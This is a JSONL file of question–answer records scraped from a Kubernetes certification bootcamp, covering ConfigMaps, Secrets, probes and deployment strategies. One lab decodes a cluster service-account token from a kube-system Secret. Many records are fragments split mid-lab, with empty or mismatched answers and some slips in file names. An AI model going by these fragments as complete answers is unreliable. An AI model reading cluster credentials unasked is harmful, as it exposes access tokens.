--keys=MYSQL_ROOT_PASSWORD,MYSQL_ALLOW_EMPTY_PASSWORD --from=configmap/mycm-env --dry-run=client -oyaml|less # output OK and two env-var keys set", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755231"}
{"id": "gh_0156d6a6afe3", "question": "How to: copy the working env-var within the container spec to webenv.yml to avoid adding unnecessary fields", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl apply -f webenv.yml\nkubectl get deploy,po # deployment web-env shows 1/1 READY, copy pod name\nkubectl exec -it $POD_NAME -- printenv # shows MYSQL_ROOT_PASSWORD,MYSQL_ALLOW_EMPTY_PASSWORD\nkubectl run mypod --image=mysql --dry-run=client -oyaml > pod.yml\nkubectl apply -f pod.yml # need existing pod to generate yaml for env-vars\nkubectl set env pod mypod --keys=MYSQL_ROOT_PASSWORD,MYSQL_ALLOW_EMPTY_PASSWORD --from=configmap/mycm-env --dry-run=client -oyaml|less", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755240"}
{"id": "gh_4b6f79b33cb3", "question": "How to: copy env-var from output container spec to pod.yml to avoid clutter", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl delete -f pod.yml # naked pod cannot update env-var, only deployment\nkubectl apply -f pod.yml\nkubectl get all,cm # mypod in running state\nkubectl exec -it mypod -- printenv\nkubectl delete deploy,po,cm mycm-file mycm-env web-file web-env mypod\nrm file.env\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755246"}
{"id": "gh_7336feb04ac6", "question": "How to: Lab 11.3. Mounting ConfigMaps", "question_body": "About piouson/kubernetes-bootcamp", "answer": "In the previous lab, only the Env-Var ConfigMap worked for our use-case. In this lab we will see how we can use the File ConfigMap.\n\nYou may also follow the [offical _add ConfigMap data to a Volume_ docs](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#add-configmap-data-to-a-volume)\n\n1. Create a `file.env` file with the following content:\n   ```sh\n   MYSQL_ROOT_PASSWORD=pwd\n   ```\n2. Create a File ConfigMap `mycm` from the file and verify resource details\n3. Create a manifest file for a Pod with the following:\n   - uses `mysql` image\n   - specify an env-var `MYSQL_ROOT_PASSWORD_FILE=/etc/config/file.env`, see the [_Docker Secrets section of MYSQL image_](https://hub.docker.com/_/mysql)\n   - mount ConfigMap `mycm` as a volume to `/etc/config/`, see [Populate a volume with ConfigMap](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#populate-a-volume-with-data-stored-in-a-configmap)\n4. Create the Pod and verify all works and env-var set in container\n5. Create a `html/index.html` file with any content\n6. Create a ConfigMap from the file and verify resource details\n7. Create a `webserver` deployment with an appropriate image and mount the file to the DocumentRoot via ConfigMap\n   - option `nginx` DocumentRoot - /usr/share/nginx/html\n   - option `httpd` DocumentRoot - /usr/local/apache2/htdocs\n8. Connect a shell to the container and confirm your file is being served\n9. Delete created resources\nlab11.3 solution\n```sh\necho \"MYSQL_ROOT_PASSWORD=pwd\" > file.env\nkubectl create cm mycm --from-file=file.env --dry-run=client -oyaml > lab11-3.yml\necho --- >> lab11-3.yml\nkubectl run mypod --image=mysql --env=MYSQL_ROOT_PASSWORD_FILE=/etc/config/file.env --dry-run=client -oyaml >> lab11-3.yml\nwget -qO- https://k8s.io/examples/pods/pod-configmap-volume.yaml | less # copy relevant details to lab11-3.yml\nnano lab11-3.yml\n```\n\n```yaml\nkind: Pod\nspec:\n  volumes:\n  - name: config-volume\n    configMap:\n      name: mycm\n  containers:\n  - name: mypod\n    volumeMounts:\n    - name: config-volume\n      mountPath: /etc/config", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755253"}
{"id": "gh_1e0582d28c77", "question": "How to: etc, rest same as generated", "question_body": "About piouson/kubernetes-bootcamp", "answer": "```\n\n```sh\nkubectl apply -f lab11-3.yml\nkubectl get po # mypod in running state\nkubectl exec mypod -it -- printenv # shows MYSQL_ROOT_PASSWORD_FILE", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755258"}
{"id": "gh_b036629c2e63", "question": "How to: part 2 of lab", "question_body": "About piouson/kubernetes-bootcamp", "answer": "mkdir html\necho \"Welcome to Lab 11.3 - Part 2\" > html/index.html\nkubectl create cm webcm --from-file=html/index.html\necho --- >> 11-3.yml\nkubectl create deploy webserver --image=httpd --dry-run=client -oyaml > lab11-3.yml\nnano lab11-3.yml # copy yaml format above and fix indentation\n```\n\n```yaml\nkind: Deployment\nspec:\n  template:\n    spec:\n      volumes:\n      - name: config-volume\n        configMap:\n          name: webcm\n      containers:\n      - name: httpd\n        volumeMounts:\n        - name: config-volume\n          mountPath: /usr/local/apache2/htdocs\n```\n\n```sh\nkubectl get deploy,po # note pod name and running status\nkubectl exec $POD_NAME -it -- ls /usr/local/apache2/htdocs # index.html\nkubectl port-forward pod/$POD_NAME 3000:80 & # bind port 3000 in background\ncurl localhost:3000 # Welcome to Lab 11.3 - Part 2\nfg # bring job to fore-ground, then ctrl+c to terminate\nkubectl delete -f lab11-3.yml\n```\n\n> Pay attention to the types of ConfigMaps, File vs Env-Var, and also note their YAML form differences", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755265"}
{"id": "gh_cbd0eb995dc1", "question": "How to: secret `myscrt` as file for tls keys, see `kubectl create secret tls -h`", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl create secret tls myscrt --cert=path/to/file.crt --key=path/to/file.key", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755270"}
{"id": "gh_7630db12718f", "question": "How to: secret as file for ssh private key, see `kubectl create secret generic -h`", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl create secret generic myscrt --from-file=ssh-private-key=path/to/id_rsa", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755274"}
{"id": "gh_6739ea31560e", "question": "How to: secret as env-var for passwords, ADMIN_PWD=shush", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl create secret generic myscrt --from-literal=ADMIN_PWD=shush", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755278"}
{"id": "gh_e71c07592ad7", "question": "How to: secrets as image registry creds, `docker-registry` works for other registry types", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl create secret docker-registry myscrt --docker-username=dev --docker-password=shush --docker-email=dev@ckad.io --docker-server=localhost:3333", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755282"}
{"id": "gh_ceb5a9bcbb40", "question": "How to: view details of the secret, shows base64 encoded value", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl describe secret myscrt\nkubectl get secret myscrt -o yaml", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755286"}
{"id": "gh_2214898fdbf5", "question": "How to: for secret with nested data, '{\"game\":{\".config\":\"yI6eyJkb2NrZXIua\"}}'", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl get secret myscrt -o jsonpath='{.data.game.\\.config}'", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755290"}
{"id": "gh_acc201b4451c", "question": "How to: get a service account `mysa`", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl get serviceaccount mysa -o yaml\n```\n\n> See the [Kubernetes JSONPath support docs](https://kubernetes.io/docs/reference/kubectl/jsonpath/) to learn more about using `jsonpath`", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755298"}
{"id": "gh_0a47c6d30b16", "question": "How to: Lab 11.4. Decoding secrets", "question_body": "About piouson/kubernetes-bootcamp", "answer": "You may follow the [official _managing secrets using kubectl_ docs](https://kubernetes.io/docs/tasks/configmap-secret/managing-secret-using-kubectl/)\n\n1. Review the CoreDNS Pod in the `kube-system` namespace and determine its `serviceAccountName`\n2. Review the ServiceAccount and determine the name of the `Secret` in use\n3. View the contents of the `Secret` and decode the value of its keys: `ca.crt` `namespace` and `token`.\nlab11.4 solution\n```sh\nkubectl -nkube-system get po # shows name of coredns pod\nkubectl -nkube-system get po $COREDNS_POD_NAME -oyaml | grep serviceAccountName\nkubectl -nkube-system get sa $SERVICE_ACCOUNT_NAME -oyaml # shows secret name\nkubectl -nkube-system get secret $SECRET_NAME -ojsonpath=\"{.data}\" | less # shows the secret keys\nkubectl -nkube-system get secret $SECRET_NAME -ojsonpath=\"{.data.ca\\.crt}\" | base64 -d # decode ca.crt, BEGIN CERTIFICATE... long string\nkubectl -nkube-system get secret $SECRET_NAME -ojsonpath=\"{.data.namespace}\" | base64 -d # decode namespace, kube-system\nkubectl -nkube-system get secret $SECRET_NAME -ojsonpath=\"{.data.token}\" | base64 -d # decode token, ey... long string\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755305"}
{"id": "gh_d38a84184598", "question": "How to: Lab 11.5. Secrets as environment variables", "question_body": "About piouson/kubernetes-bootcamp", "answer": "Repeat [lab 11.2](#lab-112-configmaps-as-environment-variables) with secrets\n\n> See the [official _secrets as container env-vars_ docs](https://kubernetes.io/docs/concepts/configuration/secret/#use-case-as-container-environment-variables)\nlab11.5 solution\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755309"}
{"id": "gh_514adc65bc98", "question": "How to: Lab 11.6. Secrets as files", "question_body": "About piouson/kubernetes-bootcamp", "answer": "Repeat [lab 11.3](#lab-113-mounting-configmaps) with secrets.\n\n> See the [official _using secrets as files_ docs](https://kubernetes.io/docs/concepts/configuration/secret/#using-secrets-as-files-from-a-pod)\nlab11.6 solution\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755316"}
{"id": "gh_6344af4237aa", "question": "How to: Lab 11.7. Secrets as docker registry credentials", "question_body": "About piouson/kubernetes-bootcamp", "answer": "1. Create a secret with the details of your docker credentials\n2. View more details of the resource created `kubectl describe`\n3. View details of the secret in `yaml`\n4. Decode the contents of the `.dockerconfigjson` key with `jsonpath`\n\n> See the [official _create an `imagePullSecret`_ docs](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#create-an-imagepullsecret)\nlab11.7 solution\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755325"}
{"id": "gh_ee9d4c7170a5", "question": "How to: one-line command can be found in `kubectl create secret -h` examples, accepting pull-requests", "question_body": "About piouson/kubernetes-bootcamp", "answer": "```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755330"}
{"id": "gh_7a17173d5651", "question": "How to: Task - ConfigMap and Secrets", "question_body": "About piouson/kubernetes-bootcamp", "answer": "The latest Bootcamp cohort have requested a new database in the `rig` Namespace. This should be created as a single replica Deployment named `db` running the `mysql:8.0.22` image with container named `mysql`. The container should start with 128Mi memory and 0.25 CPU but should not exceed 512Mi memory and 1 CPU.\n\nThe Resource limit values should be available in the containers as env-vars `MY_CPU_LIMIT` and `MY_MEM_LIMIT` for the values of the cpu limit and memory limit respectively. The Pod IP address should also be available as env-var `MY_POD_IP` in the container.\n\nA Secret named `db-secret` should be created with variables `MYSQL_DATABASE=bootcamp` and `MYSQL_ROOT_PASSWORD=\"shhhh!\"` to be used by the Deployment as the database credentials. A ConfigMap named `db-config` should be used to load the `.env` file (see below) and provide environment variable `DEPLOY_ENVIRONMENT` to the Deployment.\n\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755335"}
{"id": "gh_f151dcb2f022", "question": "How to: Container probes", "question_body": "About piouson/kubernetes-bootcamp", "answer": "A [_probe_](https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#container-probes) is a diagnostic performed periodically by the kubelet on a container, either by executing code within the container, or by network request. A probe will either return: `Success | Failure | Unknown`. There are four different ways to check a container using a probe:\n\n- `exec`: executes a specified command within the container, status code 0 means `Success`.\n- `grpc`: performs a remote procedure call using gRPC, this feature is in `alpha` stage (not for CKAD)\n- `httpGet`: performs HTTP GET request against the Pod's IP on a specified port and path, status code greater than or equal to 200 and less than 400 means `Success`.\n- `tcpSocket`: performs a TCP check against the Pod's IP on a specified port, port is open means `Success`, even if connection is closed immediately.\n\n#### Types of probe\n\nThe kubelet can optionally perform and react to three kinds of probes on running containers:\n\n- `livenessProbe`: indicates if container is running, On failure, the kubelet kills the container which triggers restart policy. Defaults to `Success` if not set. See [when to use liveness probe](https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#when-should-you-use-a-liveness-probe).\n- `readinessProbe`: indicates if container is ready to respond to requests. On failure, the endpoints controller removes the Pod's IP address from the endpoints of all Services that match the Pod. Defaults to `Success` if not set. If set, starts as `Failure`. See [when to use readiness probe?](https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#when-should-you-use-a-readiness-probe).\n- `startupProbe`: indicates if application within container is started. All other probes are disabled if a startup probe is set, until it succeeds. On failure, the kubelet kills the container which triggers restart policy. Defaults to `Success` if not set. See [when to use startup probe?](https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/#when-should-you-use-a-startup-probe).\n\n> For more details, see [configuring Liveness, Readiness and Startup Probes](https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/)", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755350"}
{"id": "gh_b92e9ff45ce1", "question": "How to: Lab 12.1. Liveness probe", "question_body": "About piouson/kubernetes-bootcamp", "answer": "Many applications running for long periods of time eventually transition to broken states, and cannot recover except by being restarted. Kubernetes provides liveness probes to detect and remedy such situations. \\\nYou may follow the [official _define a liveness command_ tutorial](https://kubernetes.io/docs/tasks/configure-pod-container/configure-liveness-readiness-startup-probes/#define-a-liveness-command) to complete this lab.\n\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755354"}
{"id": "gh_9c19b2023517", "question": "How to: get events of a specific resource, pod, deployment, etc", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl get events --field-selector=involvedObject.name=$RESOURCE_NAME", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755362"}
{"id": "gh_45be882dbfa0", "question": "How to: watch events for updates", "question_body": "About piouson/kubernetes-bootcamp", "answer": "kubectl get events --watch\n```\n\n1. Using the official manifest file `pods/probe/exec-liveness.yaml` as base, create a Deployment `myapp` manifest file as follows:\n   - busybox image\n   - commandline arguments `mkdir /tmp/healthy; sleep 30; rm -d /tmp/healthy; sleep 60; mkdir /tmp/healthy; sleep 600;`\n   - a _liveness probe_ that checks for the presence of `/tmp/healthy` directory\n   - the Probe should be initiated 10secs after container starts\n   - the Probe should perform the checks every 10secs\n   > the container creates a directory `/tmp/healthy` on startup, deletes the directory 30secs later, recreates the directory 60secs later \\\n   > your goal is to monitor the Pod behaviour/statuses during these events, you can repeat this lab until you understand liveness probes\n2. Apply the manifest file to create the Deployment\n3. Review and monitor created Pod events for 3-5mins\n4. Delete created resources\nlab12.1 solution\n```sh\nkubectl create deploy myapp --image=busybox --dry-run=client -oyaml -- /bin/sh -c \"touch /tmp/healthy; sleep 30; rm -f /tmp/healthy; sleep 60; touch /tmp/healthy; sleep 600;\" >lab12-1.yml\nwget -qO- https://k8s.io/examples/pods/probe/exec-liveness.yaml | less # copy the liveness probe section\nnano lab12-1.yml # paste, edit and fix indentation\n```\n\n```yaml\nkind: Deployment\nspec:\n  template:\n    spec:\n      containers:\n        livenessProbe:\n          exec:\n            command:\n            - ls # `cat` for file\n            - /tmp/healthy\n          initialDelaySeconds: 10\n          periodSeconds: 10\n```\n\n```sh\nkubectl apply -f lab12-1.yml\nkubectl get po # find pod name\nkubectl get events --field-selector=involvedObject.name=$POD_NAME --watch\nkubectl delete -f lab12-1.yml\n```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755379"}
{"id": "gh_9983d989a347", "question": "How to: Configure probes", "question_body": "About piouson/kubernetes-bootcamp", "answer": "Probes have a number of fields that you can use to more precisely control the behavior of liveness and readiness checks:\n\n- `initialDelaySeconds`: Seconds to wait after container starts before initiating liveness/readiness probes - default 0, minimum 0.\n- `periodSeconds`: How often (in seconds) to perform the probe - default 10, minimum 1.\n- `timeoutSeconds`: Seconds after which the probe times out - default 1, minimum 1.\n- `successThreshold`: Number of consecutive successes after a failure for the probe to be considered successful - default 1, minimum 1, must be 1 for liveness/startup Probes\n- `failureThreshold`: Number of consecutive retries on failure before giving up, liveness probe restarts the container after giving up, readiness probe marks the Pod as Unready - defaults 3, minimum 1.", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 185, "answer_score": 10, "has_code": false, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755385"}
{"id": "gh_b673404a1c7e", "question": "How to: Lab 12.3. Protect slow starting containers with startup probe", "question_body": "About piouson/kubernetes-bootcamp", "answer": "Sometimes, you have to deal with legacy applications that might require additional startup time on first initialization. In such cases, it can be tricky to set up _liveness probe_ without compromising the fast response to deadlocks that motivated such a probe. The trick is to set up a _startup probe_ with the same command, HTTP or TCP check, with a `failureThreshold * periodSeconds` long enough to cover the worse case startup time.\n\n1. Using the official manifest files `pods/probe/http-liveness.yaml` as base, create a Deployment `myapp` manifest file as follows:\n   - `nginx:1.22-alpine` image\n   - 2 replicas\n   - a _readiness probe_ that uses an HTTP GET request to check that the root endpoint `/` on port 80 returns a success status code\n   - the _readiness probe_ should be initiated 3secs after container starts, and perform the checks every 5secs\n   - a _liveness probe_ that uses an HTTP GET request to check that the root endpoint `/` on port 80 returns a success status code\n   - the _liveness probe_ should be initiated 8secs after the container is ready, and perform checks every 6secs\n   - a _startup probe_ with the same command as the _liveness probe_ but checks every 5secs up to a maximum of 3mins\n2. Apply the manifest file to create the Deployment\n3. View more details of the Deployment and confirm how all Probe configuration appear\n4. List running Pods\n5. View more details of one of the Pods and confirm how Probe configuration appear\n6. Delete created resources\nlab 12.3 solution\n```sh\nkubectl create deploy myapp --image=nginx:1.22-alpine --replicas=2 --dry-run=client -oyaml > lab12-3.yml\nnano lab12-3.yml # add probes\n```\n\n```yaml\nkind: Deployment\nspec:\n  template:\n    spec:\n      containers:\n      - name: nginx\n        readinessProbe:\n          httpGet:\n            path: /\n            port: 80\n          initialDelaySeconds: 3\n          periodSeconds: 5\n        livenessProbe:\n          httpGet:\n            path: /\n            port: 80\n          initialDelaySeconds: 8\n          periodSeconds: 6\n        startupProbe:\n          httpGet:\n            path: /\n            port: 80\n          periodSeconds: 5\n          failureThreshold: 36 # 5secs x 36 = 3mins", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755405"}
{"id": "gh_e139da697d98", "question": "How to: Lab 12.4. Blue/Green deployments", "question_body": "About piouson/kubernetes-bootcamp", "answer": "[Blue/green deployment](https://kubernetes.io/blog/2018/04/30/zero-downtime-deployment-kubernetes-jenkins/#blue-green-deployment) is a update-strategy used to accomplish zero-downtime deployments. The current version application is marked blue and the new version application is marked green. In Kubernetes, blue/green deployment can be easily implemented with Services.\nblue/green update strategy\n![blue-green update strategy from https://engineering-skcc.github.io/performancetest/Cloud-%ED%99%98%EA%B2%BD-%EC%84%B1%EB%8A%A5%EB%B6%80%ED%95%98%ED%85%8C%EC%8A%A4%ED%8A%B8/](https://user-images.githubusercontent.com/17856665/185770858-83a088c2-4701-4fd6-943e-ebfb020aa498.gif)\n1. Create a `blue` Deployment\n   - three replicas\n   - image `nginx:1.19-alpine`\n   - on the cluster Node, create an HTML document `/mnt/data/index.html` with any content\n   - mount the `index.html` file to the DocumentRoot as a _HostPath_ volume\n2. Expose `blue` Deployment on port 80 with Service name `bg-svc`\n3. Verify created resources and test access with `curl`\n4. Create a new `green` Deployment using [1] as base\n   - three replicas\n   - use a newer version of the image `nginx:1.21-alpine`\n   - on the cluster Node, create a new HTML document `/mnt/data2/index.html` with different content\n   - mount the `index.html` file to the DocumentRoot as a _HostPath_ volume\n5. Verify created resources and test access with `curl`\n6. Edit `bg-svc` Service _Selector_ as `app=green` to redirect traffic to `green` Deployment\n7. Confirm all working okay with `curl`\n8. Delete created resources\nlab 12.4 solution\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755413"}
{"id": "gh_4d5965538219", "question": "How to: Lab 12.5. Canary deployments", "question_body": "About piouson/kubernetes-bootcamp", "answer": "Canary deployment is an update strategy where updates are deployed to a subset of users/servers (canary application) for testing prior to full deployment. This is a scenario where Labels are required to distinguish deployments by release or configuration.\ncanary update strategy\n![canary update strategy from https://life.wongnai.com/project-ceylon-iii-argorollouts-55ec70110f0a](https://user-images.githubusercontent.com/17856665/185770905-7c3901ec-f97a-4046-8411-7a722b0601a4.png)\n1. Create a webserver application\n   - three replicas\n   - _Pod Template_ label `updateType=canary`\n   - use image`nginx:1.19-alpine`\n   - create an HTML document `index.html` with any content\n   - mount the `index.html` file to the DocumentRoot as a _ConfigMap_ volume\n2. Expose the Deployment on port 80 with Service name `canary-svc`\n3. Verify created resources and test access with `curl`\n4. Create a new application using [1] as base\n   - one replica\n   - _Pod Template_ label `updateType=canary`\n   - use a newer version of the image `nginx:1.22-alpine`\n   - create a new HTML document `index.html` with different content\n   - mount the `index.html` file to the DocumentRoot as a _ConfigMap_ volume\n5. Verify created resources and confirm the Service targets both webservers\n6. Run multiple `curl` requests to the IP in [2] and confirm access to both webservers\n7. Scale up the new webserver to three replicas and confirm all Pods running\n8. Scale down the old webserver to zero and confirm no Pods running\n9. Delete created resources\n\n> Scaling down to zero instead of deleting provides an easy option to revert changes when there are issues\nlab 12.5 solution\n```sh", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755448"}
{"id": "gh_cfd85374f202", "question": "How to: Task - Probes", "question_body": "About piouson/kubernetes-bootcamp", "answer": "You have a legacy application `legacy` running in the `dam` Namespace that has a long startup time. Once startup is complete, the `/healthz:8080` endpoint returns 200 status. If this application is down at anytime or starting up, this endpoint will return a 500 status. The container port for this application often changes and will not always be `8080`.\n\nCreate a probe for the existing Deployment that checks the endpoint every 10secs, for a maximum of 5mins, to ensure that the application does not receive traffic until startup is complete. 20 secs after startup, a probe should continue to check, every 30secs, that the application is up and running, otherwise, the Pod should be killed and restarted anytime the application is down.\n\nYou do not need to test that the probes work, you only need to configure them. Another test engineer will perform all tests.\n\n- Command to setup environment:\n  ```sh\n  printf '\\nlab: lab environment setup in progress...\\n'; echo '{\"apiVersion\":\"v1\",\"kind\":\"List\",\"items\":[{\"apiVersion\":\"v1\",\"kind\":\"Namespace\",\"metadata\":{\"name\":\"dam\"}},{\"apiVersion\":\"apps/v1\",\"kind\":\"Deployment\",\"metadata\":{\"labels\":{\"app\":\"legacy\"},\"name\":\"legacy\",\"namespace\":\"dam\"},\"spec\":{\"replicas\":1,\"selector\":{\"matchLabels\":{\"app\":\"legacy\"}},\"template\":{\"metadata\":{\"labels\":{\"app\":\"legacy\"}},\"spec\":{\"containers\":[{\"args\":[\"/server\"],\"image\":\"registry.k8s.io/liveness\",\"name\":\"probes\",\"ports\":[{\"containerPort\":8080}]}],\"restartPolicy\":\"OnFailure\"}}}}]}' | kubectl apply -f - >/dev/null; echo 'lab: environment setup complete!'\n  ```\n- Command to destroy environment:\n  ```sh\n  kubectl delete ns dam\n  ```", "tags": ["piouson"], "source": "github_gists", "category": "piouson", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 185, "answer_score": 10, "has_code": true, "url": "https://github.com/piouson/kubernetes-bootcamp", "collected_at": "2026-01-17T12:53:57.755470"}
{"id": "gh_4dd6da22d3e4", "question": "How to: Task - Zero Downtime Updates", "question_body": "About piouson/kubernetes-bootcamp", "answer": "In the `hog` Namespace, you will find a Deployment named `high-app`, and a Service named `high-svc`. It is currently unknown if these resources are working together as expected. Make sure the Service is a _NodePort_ type exposed on TCP port 8080 and that you're able to reach the application via the _NodePort_.\n\nCreate a single replica Deployment named `high-appv2` based on `high-app.json` file running `nginx:1.18-alpine`.\n\n- Update `high-appv2` Deployment such that 20% of all traffic going to existing `high-svc` Service is routed to `high-appv2`. The total Pods between `high-app` and `high-appv2` should be 5.\n- Next, update `high-app` and `high-appv2` Deployments such that 100% of all traffic going to `high-svc` Service is routed to `high-appv2`. The total Pods between `high-app` and `high-appv2` should be 5.\n\nFinally, create a new Deployment named `high-appv3` based on `high-app.json` file running `nginx:1.20-alpine` with 5 replicas and _Pod Template_ label `box: high-app-new`.\n\n- Update `high-svc` Service such that 100% of all incoming traffic is routed to `high-appv3`.\n- Since `high-appv2` Deployment will no longer be used, perform a cleanup to delete all Pods related to `high-appv2` only keeping the Deployment and ReplicaSet.\n\n- Command to setup environment (also creates `high-app.json` file):\n  ```sh\n  printf '\\nlab: environment setup in progress...\\n'; echo '{\"apiVersion\":\"v1\",\"kind\":\"List\",\"items\":[{\"apiVersion\":\"v1\",\"kind\":\"Namespace\",\"metadata\":{\"name\":\"hog\"}},{\"apiVersion\":\"v1\",\"kind\":\"Service\",\"metadata\":{\"labels\":{\"kit\":\"high-app\"},\"name\":\"high-svc\",\"namespace\":\"hog\"},\"spec\":{\"ports\":[{\"port\":8080,\"protocol\":\"TCP\",\"targetPort\":8080}],\"selector\":{\"box\":\"high-svc-child\"}}}]}' | kubectl apply -f - >/dev/null; echo 